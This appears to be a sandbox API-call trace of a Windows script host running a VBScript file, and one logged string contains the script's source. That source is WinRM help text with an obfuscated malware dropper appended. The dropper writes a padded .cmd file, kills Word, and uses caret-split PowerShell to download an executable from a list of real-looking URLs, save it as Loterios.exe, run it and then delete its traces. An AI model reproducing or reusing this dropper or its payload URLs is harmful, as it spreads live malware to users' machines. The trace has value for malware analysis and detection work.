[0146.218] free (_Block=0x249c884a950) [0146.218] GetProcAddress (hModule=0x7ff9e79c0000, lpProcName="SaferIdentifyLevel") returned 0x7ff9e79cab80 [0146.218] GetProcAddress (hModule=0x7ff9e79c0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7ff9e79d2040 [0146.218] GetProcAddress (hModule=0x7ff9e79c0000, lpProcName="SaferCloseLevel") returned 0x7ff9e79d4c70 [0146.218] IdentifyCodeAuthzLevelW () returned 0x1 [0146.584] malloc (_Size=0x100) returned 0x249c884bce0 [0146.585] GetVersionExA (in: lpVersionInformation=0xa3529dd100*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa3, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0xdc0c0000, szCSDVersion="ù\x7f") | out: lpVersionInformation=0xa3529dd100*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0146.585] GetUserDefaultLCID () returned 0x411 [0146.585] GetLocaleInfoW (in: Locale=0x411, LCType=0x20000070, lpLCData=0xa3529dcc70, cchData=2 | out: lpLCData="\x02") returned 2 [0146.597] IsFileSupportedName () returned 0x1 [0146.597] _wcsicmp (_String1=".vbs", _String2=".vbs") returned 0 [0146.606] GetSignedDataMsg () returned 0x0 [0146.606] GetCurrentProcess () returned 0xffffffffffffffff [0146.606] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xa3529dd9c0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xa3529dd9c0*=0x208) returned 1 [0146.606] GetFileSize (in: hFile=0x208, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1119d [0146.606] malloc (_Size=0x1119d) returned 0x249ca440080 [0146.607] SetFilePointer (in: hFile=0x208, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.607] ReadFile (in: hFile=0x208, lpBuffer=0x249ca440080, nNumberOfBytesToRead=0x1119d, lpNumberOfBytesRead=0xa3529dd980, lpOverlapped=0x0 | out: lpBuffer=0x249ca440080*, lpNumberOfBytesRead=0xa3529dd980*=0x1119d, lpOverlapped=0x0) returned 1 [0146.608] CoInitialize (pvReserved=0x0) returned 0x1 [0146.608] CoCreateInstance (in: rclsid=0x7ff9dc0d0878*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff9dc0d0888*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0xa3529dd8f0 | out: ppv=0xa3529dd8f0*=0x249ca451690) returned 0x0 [0147.705] malloc (_Size=0x100) returned 0x249c884bac0 [0147.705] __dllonexit () returned 0x7ff9db9f3d00 [0147.705] __dllonexit () returned 0x7ff9db9f3d20 [0147.709] GetVersionExA (in: lpVersionInformation=0xa3529db1d0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0xdb9f3d20, szCSDVersion="ù\x7f") | out: lpVersionInformation=0xa3529db1d0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0147.709] GetProcessWindowStation () returned 0xc4 [0147.709] GetUserObjectInformationA (in: hObj=0xc4, nIndex=1, pvInfo=0xa3529db1b8, nLength=0xc, lpnLengthNeeded=0xa3529db1b0 | out: pvInfo=0xa3529db1b8, lpnLengthNeeded=0xa3529db1b0) returned 1 [0147.709] malloc (_Size=0x48) returned 0x249ca451230 [0147.709] malloc (_Size=0x20) returned 0x249ca451280 [0147.709] malloc (_Size=0x38) returned 0x249ca4512b0 [0147.709] malloc (_Size=0x38) returned 0x249ca4512f0 [0147.709] malloc (_Size=0x38) returned 0x249ca451330 [0147.709] malloc (_Size=0x38) returned 0x249ca451370 [0147.709] malloc (_Size=0x38) returned 0x249ca4513b0 [0147.709] malloc (_Size=0x38) returned 0x249ca4513f0 [0147.709] malloc (_Size=0x38) returned 0x249ca451430 [0147.709] malloc (_Size=0x38) returned 0x249ca451470 [0147.709] malloc (_Size=0x40) returned 0x249ca4514b0 [0147.709] free (_Block=0x249ca451280) [0147.709] malloc (_Size=0x38) returned 0x249ca451500 [0147.709] malloc (_Size=0x38) returned 0x249ca451540 [0147.710] DllGetClassObject (in: rclsid=0x249c86eeb00*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7ff9e7e6f9d8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xa3529dc260 | out: ppv=0xa3529dc260*=0x249ca451280) returned 0x0 [0147.710] malloc (_Size=0x10) returned 0x249ca451280 [0147.710] IClassFactory:CreateInstance (in: This=0x249ca451280, pUnkOuter=0x0, riid=0xa3529dd168*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0xa3529dc278 | out: ppvObject=0xa3529dc278*=0x249ca451690) returned 0x0 [0147.710] malloc (_Size=0x38) returned 0x249ca451580 [0147.710] GetSystemInfo (in: lpSystemInfo=0xa3529dc0d8 | out: lpSystemInfo=0xa3529dc0d8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0147.710] VirtualQuery (in: lpAddress=0xa3529dc0d0, lpBuffer=0xa3529dc108, dwLength=0x30 | out: lpBuffer=0xa3529dc108*(BaseAddress=0xa3529dc000, AllocationBase=0xa3528e0000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0147.711] malloc (_Size=0x10) returned 0x249ca4515c0 [0147.711] malloc (_Size=0x58) returned 0x249ca4515e0 [0147.711] malloc (_Size=0x20) returned 0x249ca451640 [0147.711] malloc (_Size=0xc0) returned 0x249ca451670 [0147.711] malloc (_Size=0x18) returned 0x249ca451740 [0147.711] IUnknown:AddRef (This=0x249ca451690) returned 0x2 [0147.711] IUnknown:Release (This=0x249ca451690) returned 0x1 [0147.711] IUnknown:Release (This=0x249ca451280) returned 0x0 [0147.711] free (_Block=0x249ca451280) [0147.711] IUnknown:QueryInterface (in: This=0x249ca451690, riid=0x7ff9dc0d0888*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0xa3529dd888 | out: ppvObject=0xa3529dd888*=0x249ca451690) returned 0x0 [0147.711] IUnknown:Release (This=0x249ca451690) returned 0x1 [0147.712] _strnicmp (_Str1="\"\r\nprivate const L_HelpInvoke_015_0_Message = \"\"\r\nprivate const L_HelpInvoke_016_0_Message = \"Example: Call Create method of Win32_Process class with specified parameters:\"\r\nprivate const X_HelpInvoke_017_0_Message = \" winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"\"notepad.exe\"\";CurrentDirectory=\"\"C:\\\"\"}\"\r\nprivate const L_HelpInvoke_018_0_Message = \"\"\r\nprivate const L_HelpInvoke_019_0_Message = \"Example: Restore the default winrm configuration:\"\r\nprivate const L_HelpInvoke_019_1_Message = \"Note that this will not restore the default winrm plugin configuration:\"\r\nprivate const X_HelpInvoke_020_0_Message = \" winrm invoke restore winrm/config @{}\"\r\nprivate const L_HelpInvoke_021_0_Message = \"\"\r\nprivate const L_HelpInvoke_022_0_Message = \"Example: Restore the default winrm plugin configuration:\"\r\nprivate const L_HelpInvoke_022_1_Message = \"Note that all external plugins will be unregistered during this operation:\"\r\nprivate const X_HelpInvoke_023_0_Message = \" winrm invoke restore winrm/config/plugin @{}\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - IDENTIFY\r\nprivate const X_HelpIdentify_001_0_Message = \"winrm identify [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpIdentify_003_0_Message = \"\"\r\nprivate const L_HelpIdentify_004_0_Message = \"Issues an operation against a remote machine to see if the WS-Management \"\r\nprivate const L_HelpIdentify_005_0_Message = \"service is running. This operation must be run with the '-remote' switch.\"\r\nprivate const L_HelpIdentify_006_0_Message = \"To run this operation unauthenticated against the remote machine use the\"\r\nprivate const L_HelpIdentify_007_0_Message = \"-auth:none\"\r\nprivate const L_HelpIdentify_008_0_Message = \"\"\r\nprivate const L_HelpIdentify_009_0_Message = \"Example: identify if WS-Management is running on www.example.com:\"\r\nprivate const X_HelpIdentify_010_0_Message = \" winrm identify -remote:www.example.com\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELPMSG\r\nprivate const X_HelpHelpMessaage_001_0_Message = \"winrm helpmsg errorcode\"\r\nprivate const X_HelpHelpMessaage_002_0_Message = \"\"\r\nprivate const X_HelpHelpMessaage_003_0_Message = \"Displays error message associate with the error code.\"\r\nprivate const X_HelpHelpMessaage_004_0_Message = \"Example:\"\r\nprivate const X_HelpHelpMessaage_006_0_Message = \" winrm helpmsg 0x5\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ALIAS\r\nprivate const L_HelpAlias_001_0_Message = \"Aliasing allows shortcuts to be used in place of full Resource URIs.\"\r\nprivate const L_HelpAlias_002_0_Message = \"Available aliases and the Resource URIs they substitute for are:\"\r\nprivate const L_HelpAlias_003_0_Message = \"\"\r\nprivate const X_HelpAlias_004_0_Message = \"wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi\"\r\nprivate const X_HelpAlias_005_0_Message = \"wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2\"\r\nprivate const X_HelpAlias_006_0_Message = \"cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2\"\r\nprivate const X_HelpAlias_007_0_Message = \"winrm = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_008_0_Message = \"wsman = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_009_0_Message = \"shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell\"\r\nprivate const L_HelpAlias_010_0_Message = \"\"\r\nprivate const L_HelpAlias_011_0_Message = \"Example: using full Resource URI:\"\r\nprivate const x_HelpAlias_012_0_Message = \" winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpAlias_013_0_Message = \"\"\r\nprivate const L_HelpAlias_014_0_Message = \"Example: using alias:\"\r\nprivate const X_HelpAlias_015_0_Message = \" winrm get wmicimv2/Win32_Service?Name=WinRM\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - URIS\r\nprivate const L_HelpUris_001_0_Message = \"Universal Resource Identifiers (URI) specify management resources to be\"\r\nprivate const L_HelpUris_002_0_Message = \"used for operations.\"\r\nprivate const L_HelpUris_003_0_Message = \"\"\r\nprivate const L_HelpUris_004_0_Message = \"Selectors and values are passed after the URI in the form:\"\r\nprivate const X_HelpUris_005_0_Message = \" RESOURCE_URI?NAME=VALUE[+NAME=VALUE]...\"\r\nprivate const L_HelpUris_006_0_Message = \"\"\r\nprivate const L_HelpUris_007_0_Message = \"URIs for all information in WMI are of the following form:\"\r\nprivate const X_HelpUris_008_0_Message = \" WMI path = \\\\root\\NAMESPACE[\\NAMESPACE]\\CLASS\"\r\nprivate const X_HelpUris_009_0_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const X_HelpUris_010_0_Message = \" ALIAS = wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const L_HelpUris_011_0_Message = \"\"\r\nprivate const L_HelpUris_012_0_Message = \"Example: Get information about WinRM service from WMI using single selector\"\r\nprivate const X_HelpUris_013_0_Message = \" WMI path = \\\\root\\cimv2\\Win32_Service\"\r\nprivate const X_HelpUris_013_1_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const X_HelpUris_014_0_Message = \" ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpUris_015_0_Message = \"\"\r\nprivate const L_HelpUris_015_1_Message = \"When enumerating WMI instances using a WQL filter,\"\r\nprivate const L_HelpUris_015_2_Message = \"the CLASS must be \"\"*\"\" (star) and no selectors should be specified.\"\r\nprivate const L_HelpUris_015_3_Message = \"Example:\"\r\nprivate const X_HelpUris_015_4_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*\"\r\nprivate const L_HelpUris_015_5_Message = \"\"\r\nprivate const L_HelpUris_015_6_Message = \"When accesing WMI singleton instances, no selectors should be specified.\"\r\nprivate const L_HelpUris_015_7_Message = \"Example:\"\r\nprivate const X_HelpUris_015_8_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service\"\r\nprivate const L_HelpUris_015_9_Message = \"\"\r\nprivate const L_HelpUris_016_0_Message = \"Note: Some parts of RESOURCE_URI may be case-sensitive. When using create or\"\r\nprivate const L_HelpUris_017_0_Message = \"invoke, the last part of the resource URI must match case-wise the top-level\"\r\nprivate const L_HelpUris_018_0_Message = \"element of the expected XML.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIG\r\nprivate const L_HelpConfig_001_0_Message = \"Configuration for WinRM is managed using the winrm command line or through GPO.\"\r\nprivate const L_HelpConfig_002_0_Message = \"Configuration includes global configuration for both the client and service.\"\r\nprivate const L_HelpConfig_003_0_Message = \"\"\r\nprivate const L_HelpConfig_004_0_Message = \"The WinRM service requires at least one listener to indicate the IP address(es)\"\r\nprivate const L_HelpConfig_005_0_Message = \"on which to accept WS-Management requests. For example, if the machine has \"\r\nprivate const L_HelpConfig_006_0_Message = \"multiple network cards, WinRM can be configured to only accept requests from\"\r\nprivate const L_HelpConfig_007_0_Message = \"one of the network cards.\"\r\nprivate const L_HelpConfig_008_0_Message = \"\"\r\nprivate const L_HelpConfig_009_0_Message = \"Global configuration\"\r\nprivate const X_HelpConfig_010_0_Message = \" winrm get winrm/config\"\r\nprivate const X_HelpConfig_011_0_Message = \" winrm get winrm/config/client\"\r\nprivate const X_HelpConfig_012_0_Message = \" winrm get winrm/config/service\"\r\nprivate const X_HelpConfig_012_1_Message = \" winrm enumerate winrm/config/resource\"\r\nprivate const X_HelpConfig_012_2_Message = \" winrm enumerate winrm/config/listener\"\r\nprivate const X_HelpConfig_012_3_Message = \" winrm enumerate winrm/config/plugin\"\r\nprivate const X_HelpConfig_012_4_Message = \" winrm enumerate winrm/config/service/certmapping\"\r\nprivate const L_HelpConfig_013_0_Message = \"\"\r\nprivate const L_HelpConfig_014_0_Message = \"Network listening requires one or more listeners. \"\r\nprivate const L_HelpConfig_015_0_Message = \"Listeners are identified by two selectors: Address and Transport.\"\r\n\r\nprivate const L_HelpConfigAddress_001_0_Message = \"Address must be one of:\"\r\nprivate const L_HelpConfigAddress_002_0_Message = \" * - Listen on all IPs on the machine \"\r\nprivate const L_HelpConfigAddress_003_0_Message = \" IP:1.2.3.4 - Listen only on the specified IP address\"\r\nprivate const L_HelpConfigAddress_004_0_Message = \" MAC:... - Listen only on IP address for the specified MAC\"\r\nprivate const L_HelpConfigAddress_005_0_Message = \"\"\r\nprivate const L_HelpConfigAddress_006_0_Message = \"Note: All listening is subject to the IPv4Filter and IPv6Filter under \"\r\nprivate const L_HelpConfigAddress_007_0_Message = \"config/service.\"\r\nprivate const L_HelpConfigAddress_008_0_Message = \"Note: IP may be an IPv4 or IPv6 address.\"\r\n\r\nprivate const L_HelpConfigTransport_001_0_Message = \"Transport must be one of:\"\r\nprivate const L_HelpConfigTransport_002_0_Message = \" HTTP - Listen for requests on HTTP (default port is 5985)\"\r\nprivate const L_HelpConfigTransport_003_0_Message = \" HTTPS - Listen for requests on HTTPS (default port is 5986)\"\r\nprivate const L_HelpConfigTransport_004_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_005_0_Message = \"Note: HTTP traffic by default only allows messages encrypted with \"\r\nprivate const L_HelpConfigTransport_006_0_Message = \"the Negotiate or Kerberos SSP.\"\r\nprivate const L_HelpConfigTransport_007_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_008_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_009_0_Message = \"When configuring HTTPS, the following properties are used:\"\r\nprivate const L_HelpConfigTransport_010_0_Message = \" Hostname - Name of this machine; must match CN in certificate.\"\r\nprivate const L_HelpConfigTransport_011_0_Message = \" CertificateThumbprint - hexadecimal thumbprint of certificate appropriate for\"\r\nprivate const L_HelpConfigTransport_012_0_Message = \" Server Authentication.\"\r\nprivate const L_HelpConfigTransport_013_0_Message = \"Note: If only Hostname is supplied, WinRM will try to find an appropriate\"\r\nprivate const L_HelpConfigTransport_014_0_Message = \"certificate.\"\r\n \r\nprivate const L_HelpConfigExamples_001_0_Message = \"Example: To listen for requests on HTTP on all IPs on the machine:\"\r\nprivate const X_HelpConfigExamples_002_0_Message = \" winrm create winrm/config/listener?Address=*+Transport=HTTP\"\r\nprivate const L_HelpConfigExamples_003_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_004_0_Message = \"Example: To disable a given listener\"\r\nprivate const X_HelpConfigExamples_005_0_Message = \" winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpConfigExamples_006_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_007_0_Message = \"Example: To enable basic authentication on the client but not the service:\"\r\nprivate const X_HelpConfigExamples_008_0_Message = \" winrm set winrm/config/client/auth @{Basic=\"\"true\"\"}\"\r\nprivate const L_HelpConfigExamples_009_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_010_0_Message = \"Example: To enable Negotiate for all workgroup machines.\"\r\nprivate const X_HelpConfigExamples_011_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"\"\"}\"\r\nprivate const L_HelpConfigExamples_012_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_013_0_Message = \"Example: To add an IPv4 and IPv6 host address to TrustedHosts.\"\r\nprivate const X_HelpConfigExamples_014_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"1.2.3.4,[1:2:3::8]\"\"}\"\r\nprivate const L_HelpConfigExamples_015_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_016_0_Message = \" Note: Computers in the TrustedHosts list might not be authenticated\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CertMapping\r\nprivate const L_HelpCertMapping_001_0_Message = \"Certificate mapping remote access to WinRM using client certificates is \"\r\nprivate const L_HelpCertMapping_002_0_Message = \"stored in the certificate mapping table identified by the \"\r\nprivate const L_HelpCertMapping_003_0_Message = \"following resource URI:\"\r\nprivate const L_HelpCertMapping_003_1_Message = \"\"\r\nprivate const L_HelpCertMapping_004_0_Message = \" winrm/config/service/CertMapping\"\r\nprivate const L_HelpCertMapping_005_0_Message = \"\"\r\nprivate const L_HelpCertMapping_006_0_Message = \"Each entry in this table contains five properties:\"\r\nprivate const L_HelpCertMapping_007_0_Message = \" Issuer - Thumbprint of the issuer certificate.\"\r\nprivate const L_HelpCertMapping_008_0_Message = \" Subject - Subject field of client certificate.\"\r\nprivate const L_HelpCertMapping_009_0_Message = \" URI - The URI or URI prefix for which this mapping applies.\"\r\nprivate const L_HelpCertMapping_009_1_Message = \" Username - Local username for processing the request.\"\r\nprivate const L_HelpCertMapping_009_2_Message = \" Password - Local password for processing the request.\"\r\nprivate const L_HelpCertMapping_009_3_Message = \" Enabled - Use in processing if true.\"\r\nprivate const L_HelpCertMapping_010_0_Message = \" \"\r\nprivate const L_HelpCertMapping_011_0_Message = \"For a client certificate to be applicable, the issuer certificate must be \"\r\nprivate const L_HelpCertMapping_012_0_Message = \"available locally and match the thumbprint in the entry Issuer property\"\r\nprivate const L_HelpCertMapping_012_1_Message = \"\"\r\nprivate const L_HelpCertMapping_012_2_Message = \"For a client certificate to be applicable, its DNS or Principal name \"\r\nprivate const L_HelpCertMapping_013_0_Message = \"(from the SubjectAlternativeName field) must match the Subject property.\"\r\nprivate const L_HelpCertMapping_014_0_Message = \"The value can start with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_1_Message = \"The URI identifies for which resources the indicated client certificates .\"\r\nprivate const L_HelpCertMapping_014_2_Message = \"should be mapped.\"\r\nprivate const L_HelpCertMapping_014_3_Message = \"The value can end with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_4_Message = \"\"\r\n\r\n\r\n\r\nset filesys=CreateObject(\"Scripting.FileSystemObject\")\r\nIf Not filesys.FolderExists(\"c:\\BlotRots\") Then\r\nfilesys.CreateFolder (\"c:\\BlotRots\")\r\nEnd If\r\n\r\ntytutop = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \")\r\ntytutop1 = (\" \")\r\ntytutop2 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\")\r\ntytutop3 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\")\r\ntytutop4 = (\" \")\r\ntytutop5 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop6 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop7 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop8 = (\" \")\r\ntytutop9 = (\" XP and is listed separately on this page. Synta \")\r\ntytutop0 = (\" \")\r\n\r\n\r\n\r\ne13 = (\"Taskkill /IM \"\"winword.exe\"\" /F\")\r\na1 = (\"POW^\")\r\na2 = (\"erS^\")\r\na3 = (\"hell ^\")\r\na4 = (\"Forea^\")\r\na5 = (\"ch($ur^\")\r\na6 = (\"l in^\")\r\na7 = (\" @('^\")\r\na8 = (\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\")\r\na9 = (\"','^\")\r\na10 = (\"http://marineworks.eu/dwaunrsamlbq/111111.png^\")\r\na11 = (\"')) { tr^\")\r\na12 = (\"y{$pat^\")\r\na15 = (\"h = 'C:\\BlotRots\\Loterios.exe'; ^\")\r\na16 = (\"(Ne^\")\r\na17 = (\"w-Obje^\")\r\na18 = (\"ct Ne^\")\r\na19 = (\"t.We^\")\r\na20 = (\"bCli^\")\r\na21 = (\"ent).Down^\")\r\na22 = (\"loadF^\")\r\na23 = (\"ile(^\")\r\na24 = (\"$ur^\")\r\na25 = (\"l.ToSt^\")\r\na26 = (\"ring^\")\r\nb1 = (\"(), $p^\")\r\nb2 = (\"ath)^\")\r\nb3 = (\";sa^\")\r\nb4 = (\"ps $p^\")\r\nb5 = (\"ath; br^\")\r\nb6 = (\"eak;}c^\")\r\nb7 = (\"atc^\")\r\nb8 = (\"h{wri^\")\r\nb9 = (\"te-ho^\")\r\nb10 = (\"st $_.E^\")\r\nb11 = (\"xcep^\")\r\nb12 = (\"tio^\")\r\nb13 = (\"n.Me^\")\r\nb14 = (\"ssa^\")\r\nb15 = (\"ge}}\")\r\nWait = (\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\")\r\n\r\n\r\nSet fer23 = filesys.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" & c, 8, True)\r\nfer23.WriteLine tytutop\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\n\r\nfer23.WriteLine e13\r\nfer23.WriteLine a1\r\nfer23.WriteLine a2\r\nfer23.WriteLine a3\r\nfer23.WriteLine a4\r\nfer23.WriteLine a5\r\nfer23.WriteLine a6\r\nfer23.WriteLine a7\r\nfer23.WriteLine a8\r\nfer23.WriteLine a9\r\nfer23.WriteLine a10\r\nfer23.WriteLine a11\r\nfer23.WriteLine a12\r\nfer23.WriteLine a15\r\nfer23.WriteLine a16\r\nfer23.WriteLine a17\r\nfer23.WriteLine a18\r\nfer23.WriteLine a19\r\nfer23.WriteLine a20\r\nfer23.WriteLine a21\r\nfer23.WriteLine a22\r\nfer23.WriteLine a23\r\nfer23.WriteLine a24\r\nfer23.WriteLine a25\r\nfer23.WriteLine a26\r\nfer23.WriteLine b1\r\nfer23.WriteLine b2\r\nfer23.WriteLine b3\r\nfer23.WriteLine b4\r\nfer23.WriteLine b5\r\nfer23.WriteLine b6\r\nfer23.WriteLine b7\r\nfer23.WriteLine b8\r\nfer23.WriteLine b9\r\nfer23.WriteLine b10\r\nfer23.WriteLine b11\r\nfer23.WriteLine b12\r\nfer23.WriteLine b13\r\nfer23.WriteLine b14\r\nfer23.WriteLine b15\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine Wait\r\nfer23.close\r\n\r\nDim oShell : Set oShell = CreateObject(\"WScript.Shell\")\r\n\r\n\r\nWScript.Sleep 